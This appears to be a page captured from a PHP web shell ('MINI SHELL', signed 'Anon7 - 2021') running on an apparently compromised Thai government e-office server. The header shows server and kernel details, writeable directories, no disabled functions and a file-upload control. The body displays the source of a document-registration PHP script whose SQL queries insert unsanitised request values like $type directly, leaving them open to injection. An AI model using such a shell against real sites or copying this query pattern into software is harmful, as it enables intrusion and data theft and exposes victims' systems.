MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /var/www/html/eoffice/application/document/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/eoffice/application/document/docreg_add_step1.php
<SCRIPT language="javascript">
	
</SCRIPT><FORM action="<?=$PHP_SELF?>?type=<?=$type?>" name="post" method="post" enctype="multipart/form-data" onSubmit="return checkForm();">
	<TABLE width="720" border="1" align="center" cellpadding="0" cellspacing="0" bordercolor="#eeeeee">
		<TR>
			<TD height="80" align="center" valign="middle"><strong>ลำดับเลขทะเบียนหนังสือ
				<? if($type=="get"){echo "รับ";}else if($type=="send"){echo "ส่ง"; }else if($type=="circular"){echo "เวียน"; }?>
				ปัจจุบัน</strong><br />
				<BR>
				<?

				$sql_setting="
				select * from system
				";
				$result=mysql_query($sql_setting);
				while($rs=mysql_fetch_assoc($result)){
				$com[$rs[command]]=$rs[value];
				}				 
	
################################################# การออกเลขหนังสือส่ง
if( ($type=="send") || ($type=="circular") || ($type=="get")){

						foreach($session_gid as $vid => $val){
							foreach($val as $v1 => $v2){
							$gid_checks=$v2;	
							}
						}
						
									$sql_setting="
										select * from system
										";
										$result=mysql_query($sql_setting);
										while($rs=mysql_fetch_assoc($result)){
											$com[$rs[command]]=$rs[value];
										}
						
											if($com[outreset]=="year"){
												$code_year_reset=" AND  YEAR(document.time_rec)=YEAR(now( )) "; 
												}
																			


				if($type=="send"){$type_running="runningout";}
				elseif($type=="circular"){$type_running="runningcircular";}
				elseif($type=="get"){$type_running="runningin";}

########################################################################################
$phpsessid=session_id( );
$time_past=60*35;
if($com[$type_running])
{
	$code_cross=" AND number > $com[$type_running]";
}
$sql_del_old_request="
DELETE FROM document where type='$type' AND sending is NULL AND getting is NULL AND `time_rec` < DATE_SUB(NOW(),INTERVAL 30 MINUTE); 
";
$query_max = mysql_query($sql_del_old_request)or die("Query line " . __LINE__ . " error<hr>".mysql_error());

$sql_del_old_owner_request="
DELETE FROM document where type='$type' AND sending is NULL AND getting is NULL  AND owner = $session_staffid AND phpsessid='$phpsessid'
";
$query_max = mysql_query($sql_del_old_owner_request)or die("Query line " . __LINE__ . " error<hr>".mysql_error());

if($com[outreset]=="year"){
$code_year_reset=" AND  YEAR(document.time_rec)=YEAR(now( )) "; 
}

$sql_max_case="select max(number) as maxnumber from document where type='$type' $code_year_reset AND number is not NULL $code_cross";
$query_max = mysql_query($sql_max_case)or die("Query line " . __LINE__ . " error<hr>".mysql_error());
$maxrs = mysql_fetch_assoc($query_max);


$sql_max_case="select COUNT(*) as rownumber from document where type='$type' $code_year_reset AND number is not NULL $code_cross";
$query_max = mysql_query($sql_max_case)or die("Query line " . __LINE__ . " error<hr>".mysql_error());
$rowrs = mysql_fetch_assoc($query_max);

	if($type=="send"){$type_running="runningout";}
	elseif($type=="circular"){$type_running="runningcircular";}
	elseif($type=="get"){$type_running="runningin";}

$max_id=$maxrs[maxnumber]+1;
$now_id=$maxrs[maxnumber];
$max_row=$rowrs[rownumber];
$dif_row=$maxrs[maxnumber]-$rowrs[rownumber];
if($dif_row>0){$dif_row-=$com[$type_running];}

// echo "$maxrs[maxnumber]-$max_row= ".$dif_row."<br><br>";

if($dif_row<="0"){ $num_gen=$max_id;
	}elseif($dif_row>0){$x=$dif_row;
	for($i=$now_id;$i>0;$i--){
		$select_hole="
		select * from document where number=$i AND type='$type' $code_year_reset $code_cross
		";
		$query_max = mysql_query($select_hole)or die("Query line " . __LINE__ . " error<hr>".mysql_error());
		$num_row = mysql_num_rows($query_max);
//		echo "$i หาเจอ $num_row<br>";
		if($num_row==0){
		$hole_take[$i]=$i;
//		echo $i."<br>";
		$x--;
			if($x==0){
				$num_gen=$i;
				break;
			}
		}
	}
}


	if($com[$type_running]>$num_gen){
	$num_gen=$com[$type_running]+1;
	}

$today_code="MONTH(time_rec) = MONTH( NOW()) AND DAY(time_rec) = DAY(NOW()) AND YEAR(time_rec) = YEAR(NOW())";

$sql_today="select * from document  where $today_code and doc_status='w' and type='$type' order by docid DESC";
$rs_today_check=mysql_query($sql_today);
while($trs=mysql_fetch_assoc($rs_today_check)){
	$num_gen=$trs[docid];
}

########################################################################################
}
#### เช็คการเติม Format เลขหนังสือ


						if($type=="send"){$ref_digit="ref_digit";}elseif($type=="circular"){$ref_digit="ref_digit_circular";}
						$select_tag="";
						$refid="";
						$sql="
						SELECT
						$ref_digit.id,
						$ref_digit.digit,
						$ref_digit.value,
						$ref_digit.`type`,
						$ref_digit.gid,
						ref_type.`key` AS `key`,
						ref_type.`type` AS  `name`
						FROM
						$ref_digit
						Inner Join ref_type ON ref_type.id = $ref_digit.`type`
						where gid=$gid_checks
						order by $ref_digit.digit
						";
						$rst=mysql_query($sql);$i=0;
						if($row_rst){
						$row_rst=mysql_num_rows($rst);
							
								while($var=mysql_fetch_assoc($rst)){$i++;
						//		echo "หลักที่ $i  ประเภท $var[name] ";


								if($var[key]=='cons'){
//									echo "<input name=digit[$var[digit]] type=hidden value='$var[value]' maxlength=10 style='width:60px;' >$var[value]";
									#echo "$var[value]";
									$refid.=$var[value];
								}else{



									$show_var=$var[key];
									if($var[key]=='autonumber')
									{
									$zerofill=$var[value];
									if(!$zerofill){$zerofill="4";}
									$hide_var="autonumber";
									$show_var=zerofill($num_gen,$zerofill); 
//									echo "<input name='digit_char[$var[digit]]' type='hidden' value='$zerofill' >";
									echo "<input name='autonumber' type='hidden' value='$num_gen' >";
									}
									if($var[key]=='yy'){$hide_var=date(y);$show_var=date(y);}		
									if($var[key]=='yyyy'){$hide_var=date(Y);$show_var=date(Y);}		
									if($var[key]=='ปป'){$hide_var=date(y)+43;$show_var=date(y)+43;}		
									if($var[key]=='ปปปป'){$hide_var=date(Y)+543;$show_var=date(Y)+543;}					
//									echo "<input name='digit[$var[digit]]' type='hidden' value='$hide_var' >$show_var";
									#echo "$show_var";
									$refid.=$show_var;
								}
						//		echo "<br>";
							}
						}


	?> 
			    <INPUT name="textfield" type="text" value="<?=$num_gen?>" size="8" readonly align="absmiddle">
			<BR>
			
			<?
			foreach($session_gid as $vid => $val){
				foreach($val as $v1 => $v2){
				$gid=$v2;	
				}
			}
			
			if($type=="send" ){
			$sql="
				SELECT
				ref_digit.id,
				ref_digit.digit,
				ref_digit.value,
				ref_digit.`type`,
				ref_digit.gid,
				ref_type.`type` as name,
				ref_type.`key` as varkey
				FROM
				ref_digit
				Inner Join ref_type ON ref_type.id = ref_digit.`type`
				where gid=$gid
				order by ref_digit.digit
			";
			$rst=mysql_query($sql);
			$row_rst=mysql_num_rows($rst);
			if(!$row_rst){ $dis="disabled"; }
			}
			
			if($type=="circular" ){
			$sql="
				SELECT
				ref_digit_circular.id,
				ref_digit_circular.digit,
				ref_digit_circular.value,
				ref_digit_circular.`type`,
				ref_digit_circular.gid,
				ref_type.`type` as name,
				ref_type.`key` as varkey
				FROM
				ref_digit_circular
				Inner Join ref_type ON ref_type.id = ref_digit_circular.`type`
				where gid=$gid
				order by ref_digit_circular.digit
			";
			$rst=mysql_query($sql);
			$row_rst=mysql_num_rows($rst);
			if(!$row_rst){ $dis="disabled"; }
			}			
			?>
			
			
			<INPUT type="button" name="Button" value="ต่อไป" onClick="window.location.replace('<?=$PHP_SELF?>?type=<?=$type?>&action=add&step=2')" <?=$dis?>> 

			 <INPUT type="button" name="Submit2" value="ยกเลิก"  onClick="window.location.replace('<?=$PHP_SELF?>?type=<?=$type?>')">
			<BR>
			<? if(!$dis){echo		"<font color=#0000FF> ต้องการสร้างทะเบียนเลือกต่อไป </font>"; }else
					{ echo "<font color=#FF0000>ท่านยังไม่ได้กำหนด เลขรหัสหน่วยงานในระบบสารบัญ <br>หลังจากวันจันทร์ที่ 6 เมษายน 2552 ท่านจะไม่สามารถสร้างทะเบียนหนังสือได้ <br> <b> <a href='?type=personal'>คลิ้กที่นี้</a></b>เพื่อกำหนดรูปแบบเลขรหัสหน่วยงานของท่าน</font>";}
			 ?> </TD>
		</TR>
	</TABLE>
</FORM>

Anon7 - 2021